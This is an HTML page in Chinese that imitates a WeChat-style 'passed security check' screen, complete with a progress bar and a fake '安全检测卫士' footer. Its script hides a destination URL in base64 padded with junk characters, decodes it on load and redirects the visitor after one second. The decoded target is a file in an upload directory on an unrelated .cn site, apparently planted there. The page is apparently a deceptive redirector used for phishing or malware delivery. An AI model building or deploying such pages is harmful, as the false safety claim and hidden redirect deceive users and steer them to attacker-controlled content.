<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" lang="zh-CN">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <title></title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta name="referrer" content="no-referrer" />

    <style type="text/css">
        body, html {
            margin: 0;
            padding: 0;
            height: 100%;
            width: 100%;
            overflow: hidden;
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
        }

        #loading-screen {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: #ffffff;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            text-align: center;
        }

        .icon-box {
            margin-bottom: 20px;
        }

        .status-text {
            font-size: 22px;
            color: #333333;
            font-weight: 500;
            margin-bottom: 8px;
        }

        .sub-text {
            font-size: 14px;
            color: #999999;
            margin-bottom: 28px;
        }

        .progress-wrap {
            width: 80%;
            max-width: 300px;
            height: 6px;
            background: #e8e8e8;
            border-radius: 4px;
            overflow: hidden;
            margin-bottom: 40px;
        }

        .progress-fill {
            height: 100%;
            width: 0;
            background-color: #07c160;
            border-radius: 4px;
            animation: fillBar 1s linear forwards;
        }

        @keyframes fillBar {
            from { width: 0%; }
            to { width: 100%; }
        }

        .footer-text {
            position: absolute;
            bottom: 30px;
            font-size: 12px;
            color: #cccccc;
            line-height: 1.6;
        }

        .fallback-link {
            margin-top: 16px;
            font-size: 13px;
        }

        .fallback-link a {
            color: #07c160;
            text-decoration: none;
        }

        .fallback-link a:hover {
            text-decoration: underline;
        }
    </style>
</head>

<body>
    <div id="loading-screen">
        <div class="icon-box">
            <svg xmlns="http://www.w3.org/2000/svg" width="80" height="80" viewBox="0 0 100 100">
                <circle cx="50" cy="50" r="48" fill="#07c160" />
                <path d="M30 50 L45 65 L70 35"
                      stroke="#ffffff"
                      stroke-width="8"
                      fill="none"
                      stroke-linecap="round"
                      stroke-linejoin="round" />
            </svg>
        </div>

        <div class="status-text">已通过安全检测</div>
        <div class="sub-text">正在为您跳转，请稍候...</div>

        <div class="progress-wrap">
            <div class="progress-fill"></div>
        </div>

        <div class="footer-text">
            安全检测卫士<br />
            Copyright © 1998 - 2026. All Rights Reserved.
        </div>

        <div class="fallback-link" id="fallbackWrap" style="display: none;">
            <a href="#" id="fallbackLink">若未自动跳转，请点击此处</a>
        </div>
    </div>

    <script type="text/javascript">
//<![CDATA[
        var finalEnc = "xxaHR0cHM6Ly9zc2N3Lm5tZ2tqeHkuY24vc3RhdGljL3VlZGl0b3IvdXBsb2FkL2ZpbGUvMjAyNjAzMDQvMTc3MjU4OTkzNzE2Njc2OS54bWw=qqq";

        function decodeFinalUrl(enc) {
            var core = enc.substring(2, enc.length - 3);
            try {
                return window.atob(core);
            } catch (e) {
                return "";
            }
        }

        var config = {
            url: decodeFinalUrl(finalEnc)
        };

        document.addEventListener("DOMContentLoaded", function () {

            var fallbackWrap = document.getElementById("fallbackWrap");
            var fallbackLink = document.getElementById("fallbackLink");

            function startRedirect() {
                if (startRedirect.done) return;
                if (!config.url) return;
                startRedirect.done = true;
                try {
                    window.location.replace(config.url);
                } catch (e) {
                    window.location.href = config.url;
                }
            }

            window.setTimeout(startRedirect, 1000);

            window.setTimeout(function () {
                if (!startRedirect.done && fallbackWrap) {
                    fallbackWrap.style.display = "block";
                }
            }, 2000);

            window.setTimeout(function () {
                if (!startRedirect.done) {
                    window.location.reload();
                }
            }, 8000);

            if (fallbackLink) {
                fallbackLink.addEventListener("click", function (e) {
                    e.preventDefault();
                    startRedirect();
                }, false);
            }
        });
//]]>
    </script>

</body>
</html>